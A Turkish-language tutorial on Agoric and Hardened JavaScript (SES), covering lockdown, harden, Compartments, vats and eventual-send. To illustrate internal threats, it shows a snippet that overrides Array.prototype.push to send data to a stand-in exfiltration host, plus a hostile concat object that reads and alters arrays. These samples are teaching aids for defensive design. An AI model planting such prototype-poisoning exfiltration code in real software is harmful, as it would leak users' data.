Ana içeriğe geç

Ders Bir - Agoric ve Sertleştirilmiş JavaScript'e Giriş

İçindekiler

  • Agoric nedir?
    • Ekosisteme ne getirmeyi amaçlar?
    • Kim yapar?
    • Agoric'in Cosmos ekosistemindeki yeri
    • Agoric Stack
  • Sertleştirilmiş JavaScript
    • Sertleştirilmiş JavaScript nedir?
    • Sertleştirilmiş JavaScript/SES tarihçesi
    • Anahtar kelimeler, Terminoloji
    • Çalışma Ortamı
    • Sertleştirilmiş JavaScript'in Bölümleri
    • Kodlama Örnekleri
  • Uzak Nesnelerle İletişim Kurma

Sertleştirilmiş JavaScript Nedir?

Sertleştirilmiş JavaScript, belki de Agoric'in JavaScript Çerçevesinin en önemli parçasıdır. Ana amacı, JavaScript geliştirmeyi iç tehditlerden güvenli hale getirmektir.

jsFeatures

Şekil 1: JavaScript Dil Özellikleri

Yukarıdaki ekran görüntüsü Sertleştirilmiş JavaScript Güvenlik Raporu'ndan alınmıştır.

Belgelerdeki SES Rehberi Sertleştirilmiş JavaScripti aşağıdaki gibi tanımlar;

  • Üçüncü taraf kodun güvenli bir şekilde çalıştırılması için bir JavaScript çalışma zamanı kütüphanesidir.
  • JavaScript’in iç güvenlik eksikliğini ele alır.
    • Bu, özellikle JavaScript uygulamalarının üçüncü taraf kodları (modüller, paketler, kütüphaneler, eklentiler ve plug-in'ler için kullanıcı tarafından sağlanan kodlar vb.) kullanması ve bunlara güvenmesi nedeniyle önemlidir.
  • Küresel değişebilir durumlar gibi tehlikeli özelliklerin kaldırılması suretiyle en iyi uygulamaları zorlar ve gevşek modda kapsüllemenin eksikliğini ele alır.
  • "Strict mode" JavaScript'in güvenli belirlenmiş bir alt kümesidir.
  • Herhangi bir IO nesnesini içermez ambient authority.
  • Bazı yerleşik nesneleri değiştirerek belirsizliği kaldırır.
  • Hem yerleşik JavaScript nesnelerini hem de program oluşturulan nesneleri dondurma ve değiştirilemez hale getirme işlevselliği ekler.

Sertleştirilmiş JavaScript'in Prensipleri

Sertleştirilmiş JavaScript, aslında güvensizlikleri ortadan kaldırarak JavaScript'e güvenlik getirmeyi amaçlar. Güvenliği sağlamak için iki prensipe dayanır;

  • OCaps(Nesne Yetenekleri): SES Rehberi[4] OCaps disiplinini aşağıdaki gibi tanımlar; "Herhangi bir programlama ortamı OCaps modeline uyuyorsa, üç gerekliliği karşılar:

    • Herhangi bir program, kendi verilerini ve yeteneklerini gizleyerek kendi değişmezlerini koruyabilir.
    • Güç, sadece bir nesnenin referansına sahip olmakla, örneğin, bir dosya sistemi nesnesine, bir şey üzerinde kullanılabilir. Güçlü bir nesneye bir referans, bir yetenektir.
    • Bir yeteneği elde etmenin tek yolu, bir tanesi verilmesidir. Örneğin, bir yapılandırıcı veya yöntemin bir argümanı olarak bir tanesini almak."

    SES Rehberi[4] ayrıca ekler: "OCaps ile, birçok yabancı, kullanıcıya veya birbirlerine karşı onları rahatsız etme, müdahale etme veya işbirliği yapma riski olmadan tek bir kum havuzunda işbirliği yapabilir."

  • POLA(En Az Yetki Prensibi): Genel bir tanım şu şekilde olabilir;

    "En Az Yetki Prensibi (POLA), kodun görevini gerçekleştirmek için ihtiyaç duyduğu yetkiye ve fazlasına sahip olmaması gerektiğini söyler."[5]

    Sertleştirilmiş JavaScript doğrudan POLAyı uygulamaz, ancak programcıların modüllerine gereken yetkileri, ve fazlasını değil, dağıtabilmeleri için zengin bir araç seti uygular.

"İç tehditler" derken neyi kastediyorsunuz?

Kodunuzun bağımlı olduğu bir program ters davranırsa ne olur? Ya Array.prototype.push metodunu geçersiz kılarsa? Normal JavaScript ile aşağıdakine benzer bir şeyi önleyecek bir şey yoktur;

const push = Array.prototype.push;
Array.prototype.push = (...args) => {
fetch(`https://exfiltrate.example.com?${args}`);
return push.apply(this, args);
};

Not: Yukarıdaki kod örneği Sertleştirilmiş JavaScript(10:34)'ten alınmıştır.

Moddable bloglarında Sertleştirilmiş JavaScripti şu şekilde tanımlar;

"SES'in çözdüğü temel sorun, farklı kaynaklardan gelen kodun tek bir JavaScript sanal makinesinde güvenli bir şekilde çalıştırılabilmesini sağlamaktır. Bu, her kod bölümünün diğerlerinden müdahaleye karşı güvende olduğunu garanti eder."

Sertleştirilmiş JavaScriptSES mi?

Sertleştirilmiş JavaScript, SES olarak bilinen şeydir. SES, Secure ECMAScripti ifade eder. Bu bootcamp boyunca ve genel olarak JavaScript topluluğunda, SES ve Sertleştirilmiş JavaScript terimleri birbirinin yerine kullanılır.

Arka Plan Çalışması

Sertleştirilmiş JavaScripti Standart JavaScript haline getirmek için Ecma TC39'a yapılan iki teklif bulunmaktadır;

  1. proposal-ses
  2. proposal-compartments

Numara 2, numara 1'i geçersiz kılar. Şu anki aşama Aşama 1.

Anahtar Kelimeler, Terminoloji

  • Endo: Node.js'in JavaScript için yaptığı şeyi, Endo Sertleştirilmiş JavaScript için yapar. Endo, her paketi izole eden bir ECMAScript modül yükleyicisinde paketleri ve modülleri yükler, host'un kaynaklarına sınırlı erişim sağlar. Agoric akıllı sözleşmeleri, Endo konuk programlarının bir örneğidir. [2]
  • Shim: Bir shim, genellikle sorunu çözecek yeni bir API ekleyerek zaten mevcut olan kodun davranışını düzeltmek için kullanılan bir kod parçasıdır.[3]
  • JS İçsel/Primordials: Object, Array ve RegExp gibi yerleşik JavaScript nesneleri.
  • Realm: Bir realm, bir global obje ve ilk öğelerin (örneğin Array.prototype.push gibi nesneler ve standart kütüphane fonksiyonları) setidir. Bir web tarayıcısında, bir iframe bir realmdir. Node.js'de, bir Node işlemi bir realmdir. [1]

Çalışma Ortamı

Figure 2: JavaScript Runtime Environment Example

Agoric Belgeleri[6]'na göre, Agoric, web tarayıcıları ve Node.js ile aynı olay döngüsü eşzamanlılık modelini benimser. Her olay döngüsünün bir mesaj kuyruğu, bir yığın ve bir nesne yığını vardır. Agoric, bu olay döngüsüne vat adını verir.

Not edilmesi gereken önemli bir şey, eşzamanlı fonksiyon çağrıları yalnızca bir vat içinde kullanılabilir. Vat-vat iletişimleri için eventual-sendi kullanmamız gerekir, ancak evetual-send çağrıları da aynı vat

inde kullanılabilir.

Eventual-sendin ne anlama geldiğini bilmiyorsanız endişelenmeyin. Uzaktaki Nesnelerle İletişim Kurma bölümünde üzerinde duracağız.

Statik vs Dinamik Vatlar

İki tür vat vardır:

  • Statik Vatlar
  • Dinamik Vatlar

Statik Vatlar sistem başlangıcında başlatılır. Her statik vat, belirli bir agoric-sdk bileşenini içerir. Statik Vatlar, ekosistemin devam etmesi için gereklidir.

Dinamik Vatlar üçüncü taraf kodunu çalıştırır. Örneğin, bir akıllı sözleşme dağıtırsanız kendi vatında çalışır. Bu önemli bir noktadır, Akıllı Sözleşmeler kendi vatlarında çalışır. Bu yaklaşımın ne tür faydalar getirebileceğini düşünebilir misiniz?

vats

Şekil 3: Dağıtılmış Programlama için Merkezi Olmayan Dünya ekran görüntüsü.

Vats için olası ana makineler:

  • Blockchain: Bir sözleşme blockchain'e dağıtıldığında, bu ağdaki tüm düğümler sözleşmeyi kendi makinelerinde çalıştırır. Eğer 10 düğüm varsa, belirli bir sözleşme için 10 tane vat bulunur. Ancak tüm vats'ların bir kamu zinciri(alt katman) olarak tek vatlar şeklinde yeşil(üst) katmanda temsil edildiğine dikkat edin. Bu, blockchain'in çoğaltılmış doğasının sağladığı bir soyutlamadır.
  • Ag-Solo: Bu, solo bir makinede çalışan agoric zinciri ile etkileşimde bulunan istemcidir. Ancak yeşil katmanın getirdiği soyutlama açısından, bu sadece diğer vatlarla etkileşime girmeye hazır başka bir vattır.

Hardened JavaScript'ın Parçaları

Hardened JavaScript, dile güvenlik uygular. Harika, ama nasıl?

POLA ve Ocaps tarafından güvenliği sağlamak için öncelikle JavaScript'in neden bir Ocaps uygulayan dil olmadığına bakmalıyız. SES Rehberi[4]'ne göre:

"Ordinary JavaScript does not fully qualify as an OCaps language due to the pervasive mutability of shared objects."

What do you mean by "internal threats"? başlıklı bölümdeki kod örneğimiz buna iyi bir örnektir.

Rehberde şöyle deniyor;

"Hardened JavaScript üç parçadan oluşur:

  • Lockdown işlemi, mevcut bir değiştirilebilir JavaScript ortamını düzeltir ve sertleştirir.
  • Harden işlemi, nesnelerin programlar arasında paylaşılabileceği şekilde arayüzleri hileye dayanıklı hale getirir.
  • Compartment sınıfı, ayrı genel ve modülleri olan, ancak sertleştirilmiş birincil öğeleri paylaşan ve genel kapsamdaki diğer güçlü nesnelere sınırlı erişimi olan izole ortamlar oluşturur."

Bu üç ana parçayı birer birer inceleyelim;

Lockdown

SES Rehberi - Lockdown[7]'a göre, lockdown'ın tanımı şöyle:

"lockdown() fonksiyonu, çalıştırma ortamındaki herhangi bir program tarafından erişilebilen tüm JavaScript tanımlı nesneleri dondurur. Lockdown() çağrısı, bir JavaScript sistemini, uygulanan OCap (nesne yetenek) güvenliği olan bir sertleştirilmiş sistem haline getirir. Etrafındaki çalıştırma ortamını (realm) değiştirir, böylece aynı realm'de çalışan iki program, tanıtılmadan birbirlerini gözlemleyemez veya birbirlerine müdahale edemez."

lockdown'ın dondurduğu bazı içsel nesneler şunlardır;

  • globalThis
  • [].__proto__ dizinin prototipi, temiz bir JavaScript ortamında Array.prototype'a denktir.
  • {}.__proto__ ise Object.prototype'a denktir.

Ve liste devam eder... Daha fazla örnek için Referans - Lockdown[8]'a bakabilirsiniz.

Bu kadar mı? Tabii ki hayır, lockdown aynı zamanda bazı mevcut, platforma özgü JavaScript özelliklerini de kaldırır. İşte bazı örnekler;

  • queueMicrotask
  • URL ve URLSearchParams
  • WebAssembly
  • TextEncoder ve TextDecoder
  • global
    • Bunun yerine globalThis'i kullanın (ve dondurulduğunu unutmayın).
  • process
    • Sürecin ortam değişkenlerine erişim sağlayan process.env yok.
    • Argüman dizisi için process.argv yok.

Daha fazla detay için SES Guide - Lockdown Removals[9]'a bakabilirsiniz.

Hala bitmedik. lockdown ayrıca ortama Sertleştirilmiş JavaScript'e özgü özellikler ekler.

Unutmayın: lockdown, SES Shim'i uygular ve JavaScript ortamı, lockdown çağrılana kadar Sertleştirilmiş bir JavaScript ortamı olmaz.

lockdown, globalThis'e aşağıdaki özellikleri de enjekte eder;

  • assert
  • harden
  • Compartment

Sonraki aşamada, harden'ı keşfedeceğiz.

Harden

Bir vat veya sözleşme içinde çalışacak herhangi bir kod, hiçbir şeyi içe aktarmadan harden'ı global olarak kullanabilir. Harden, kullanıcı tanımlı nesneyi ve onların prototiplerini hileye karşı korur. Bu nesneyle çalışan herhangi bir program sadece nesnenin yüzeyinde ne varsa onu çağırabilir. Nesnenin özelliklerini alt etmeye yönelik her türlü girişim başarısız olacaktır.

const makeImportantRecord = () => {
const importantData = 'Bu çok önemli!';

const getImportantData = () => {
const importantCopy = importantData;
return importantCopy;
};

return harden({ getImportantData })
}

const importantRecord = makeImportantRecord();

importantRecord.getImportantData = () => {
return 'Seni sevmiyorum!'
}; // Bu hata verecek!

Compartment

SES - Compartments[10]'a göre, Compartments'ın tanımı şöyledir:

"Bir compartment, kendi globalThis'ı ve tamamen bağımsız bir modül sistemi olan bir değerlendirme ve çalıştırma ortamıdır, ancak çevresel bölme ile aynı grup intrinsic'i paylaşır."

SES - Compartments[10], daha iyi anlama için bazı kod örnekleri de içerir:

Burada, print yeteneği olan bir compartment oluşturulmuş ve çağrılmıştır.

import 'ses';
lockdown();

const c = new Compartment({
print: harden(console.log),
});

c.evaluate(`
print('Merhaba! Merhaba mı?');
`);

Farklı compartmentlar, aynı intrinsic'i paylaşır ama farklı globalThis nesnelerine sahiptirler.

const c1 = new Compartment();
const c2 = new Compartment();
c1.globalThis === c2.globalThis; // false
c1.globalThis.JSON === c2.globalThis.JSON; // true

Varsayılan olarak, yeni bir Compartment Date.now ve Math.random'ı çıkarır, çünkü bunlar programlar arasında gizli iletişim kanalları olabilir. Ama eğer istersek, bunları Compartment'a ekleyebiliriz. Bunu başarmak için iki yol vardır;

  • Compartment yapıcıya ilk argüman olarak veya
  • Yapım sonrasında onları compartment'ın globalThis'ına atayarak.
const powerfulCompartment = new Compartment({ Math });
powerfulCompartment.globalThis.Date = Date;

Compartment'ın globalThis'ını sertleştirmek programcıya bağlıdır. Date'i globalThis'a atayabiliyoruz çünkü ilk olarak harden'ı çağırmadık.

Kodlama Örnekleri

Kodunuzda Hardened JavaScript kullanmak için, şunu çalıştırın:

npm install ses

Daha sonra kodunuzda:

import 'ses';
lockdown();

Eğer ortamınız bir tarayıcı ise, index.html'nizin başına bunu ekleyin;

Yukarıdakilerden herhangi birini yaptığınızda, Hardened JavaScript özelliklerine erişim hakkınız olacak.

Secure Coding Guide[11], birçok havalı örneğe sahip, kesinlikle göz atmalısınız. Ben aşağıdaki iki örneği özellikle seçtim çünkü bana ilginç geldiler.

Dizileri Kabul Etme

Array.prototype.concat, iki diziyi birleştirir ve yeni bir dizi döndürür. Güvensiz bir kullanım aşağıdaki gibi olabilir:

// güvensiz
function combine(arr1, arr2) {
const combined = arr1.concat(arr2);
return combined;
}

Kılavuz, güvensizliği şu şekilde açıklar:

"Sorun, .concat'ın ilk dizinin bir özelliği olmasıdır, bu da kimin bu diziyi sağladığını kontrol ettiği anlamına gelir:"

function getArr1(
return harden({
concat(otherArray) {
console.log("haha okuyabilirim", otherArray[0]);
otherArray.push("haha otherArray'ı değiştirebilirim");
return("haha concat'ın bir dizi değil, bir string döndürebileceğini gösterdim");
},
});
};

const combined = combine(getArr1(), arr2);

Ve iki diziyi birleştirmenin güvenli versiyonu:

// güvenli
function combine(arr1, arr2) {
const combined = [...arr1, ...arr2];
return combined;
}

Promise'ler Reentrancy Tehlikelerini Önler

Aşağıdaki gibi bir PubSub yapısı düşünün:

// güvensiz
function makePubSub() {
const subscribers = new Set();
function subscribe(cb) {
subscribers.add(cb);
}
function unsubscribe(cb) {
subscribers.delete(cb);
}
function publish(msg) {
for (const s of subscribers) {
s(msg);
}
}
return harden({subscribe, unsubscribe, publish});
}

Kılavuz, olası güvensizlikleri aşağıdaki gibi listeler:

  • eğer callback bir istisna atarsa, bir dizi abone mesajı almayabilir
  • eğer callback yeni bir abone eklerse, yeni abone çağrılıp çağrılmayabilir, yineleyici sırasına ve abonenin listeye nerede yerleştirildiğine bağlıdır (Set'lerin iyileştirilmiş yineleme sıralama özelliklerine sahip olduğunu unutmayın, bu yüzden bu, diğer koleksiyon tipleriyle veya diğer dillerde olduğu kadar öngörülemez değildir)
  • eğer callback mevcut bir aboneyi kaldırırsa, bu mesajı alıp almayacakları, listeye nerede olduklarına bağlı olabilir
  • eğer callback yeni bir mesaj yayınlarsa, iki mesaj, farklı aboneler tarafından farklı sıralarda alınabilir

Bir örnek düzeltme şudur:

  // güvenli
function publish(msg) {
for (const s of subscribers) {
Promise.resolve(s).then(s => s(msg));
}

Bu düzeltmenin reentrancy tehlikesini nasıl giderdiği, Promise'in mevcut etkin döngüsünden ziyade gelecekteki bir döngüde çözülmesi nedeniyledir.

Uzaktaki Nesnelerle İletişim Kurma

Farklı bileşenleri kendi vatlarında çalıştırmak risk oluşturur. Zoe'nin (bir sistem bileşeni) çalıştığı vata herkesin sözleşmelerini yerleştirebildiğini düşünün, bir sözleşme fazla bellek alanı tüketmeyi denediğinde tüm sistem risk altında olabilir. Bu güvenlik özelliği çözülmesi gereken bir sorun getirir. Yani, Diğer vat'larla nasıl iletişim kurulur? Örneğin, akıllı sözleşmenizin başka bir akıllı sözleşmeden bir yöntem çağırması gerektiğinde ne olur?

Evantual-Send'e Hoş Geldiniz

Concurrency Among Strangers[12] adlı çalışmada eventual işlemler şu şekilde açıklanmıştır;

Bir programın X planını uygularken Y planına ihtiyaç duyduğunu düşünün, sıralı bir sistemde, Y'yi ne zaman yapacağına dair iki basit alternatifi vardır:

  • Hemen: X'i bir kenara koy, Y üzerinde çalışana kadar devam et, sonra X'e geri dön.
  • Sonunda: Y'yi bir "yapılacaklar" listesine koy ve X tamamlandıktan sonra üzerinde çalış.

Hardened JavaScript, programların başka vatlardan

metotları çağırmasına olanak sağlayan 'eventual-send' paketini uygular. Eventual işlemler, mevcut olandan ziyade bir gelecek 'turn' event-loop'da gerçekleştiği için, yeniden giriş riski yoktur.

vatlar arası iletişimin temel mantığı, Capability Based Financial Instruments [13]_ adlı çalışmadan alınan bir diyagramda açıklanmıştır:

Image

Yukarıdaki diyagramda,

  • Kalın oklar yöntemleri temsil eder
  • İnce oklar referansları temsil eder
  • Daireler nesneleri temsil eder
  • Yarım daireler, gerçek vata bağlantısı olan proxy nesneleridir

Diyelim ki biz Alice'yiz ve Carol'a bir referans alan bir argümanla Bob'dan hello adında bir yöntemi çağırmak istiyoruz.Söz dizimi şu şekilde olurdu:

import { E } from '@endo/far';

E(Bob).hello(Carol);

Bu, başka bir vat ile etkileşim kurmak istediğimizde her zaman kullandığımız sözdizimidir.

Agoric Docs - Eventual Send[14], E(zoe).install(bundle) çağrısından sonraki adımları şöyle anlatır:

  1. Zoe'nin geldiği vat'a teslim edilmek üzere sıraya alınan, install yöntem adını ve bundle argümanını düz bir stringe serileştiren bir mesaj.
  2. E(zoe).install(bundle), sonucun bir sözü verir.
  3. then ve catch yöntemleri, sözün yerine getirilmesi veya reddedilmesi durumunda geri çağrıları sıraya alır. Yürütme, yığın boş olduğunda ve böylece bu event-loop dönüşü tamamlandığında devam eder.
  4. Sonunda zoe yanıt verir, bu da bu vat'ın mesaj sırasında yeni bir mesaj ve event-loop'da yeni bir dönüş anlamına gelir. Mesajın serileştirilmesi geri alınır ve sonuçlar ilgili geri çağrıya geçirilir.

Bir başka vatta yaşayan bir nesnenin her metodunu çağırmak mümkün mü?

Hayır. Nesne, metodlarını bir Far ile sarmalamalıdır. Yalnızca bir Far etrafında sarılmış metodlar, uzak bir vattan çağrılabilir.

Farın sözdizimi aşağıdaki gibidir:

import { Far } from '@endo/far';

const publicFacet = Far('Public Facet', {
hello: name => `Uzaktan vat ${name}!!!`
})

Kaynaklar

[1][SES Guide - Realms](https://github.com/endojs/endo/blob/master/packages/ses/docs/guide.md#realms) [2][SES Guide - Endo](https://github.com/endojs/endo/blob/master/packages/ses/docs/guide.md#what-is-endo) [3][MDN Glossary - Shim](https://developer.mozilla.org/en-US/docs/Glossary/Shim) [4][SES Guide - OCaps](https://github.com/endojs/endo/blob/master/packages/ses/docs/guide.md#the-hardened-javascript-story) [5][POLA Would Have Prevented the Event-Stream Incident](https://agoric.com/blog/technology/pola-would-have-prevented-the-event-stream-incident) [6][Agoric Docs - Vats](https://docs.agoric.com/guides/js-programming/#vats-the-unit-of-synchrony) [7][SES Guide - Lockdown](https://github.com/endojs/endo/blob/master/packages/ses/docs/guide.md#lockdown) [8][Reference - Lockdown](https://github.com/endojs/endo/blob/master/packages/ses/docs/reference.md#lockdown) [9][SES Guide - Lockdown Removals](https://github.com/endojs/endo/blob/master/packages/ses/docs/guide.md#what-lockdown-removes-from-standard-javascript) [10][SES - Compartments](https://github.com/endojs/endo/tree/master/packages/ses#compartment) [11][Secure Coding Guide](https://github.com/endojs/endo/blob/master/packages/ses/docs/secure-coding-guide.md) [12][Concurrency Among Strangers](https://papers.agoric.com/assets/pdf/papers/concurrency-among-strangers.pdf) [13][Capability Based Financial Instruments](https://papers.agoric.com/assets/pdf/papers/capability-based-financial-instruments.pdf) [14][Agoric Docs - Eventual Send](https://docs.agoric.com/guides/js-programming/eventual-send.html#eventual-send)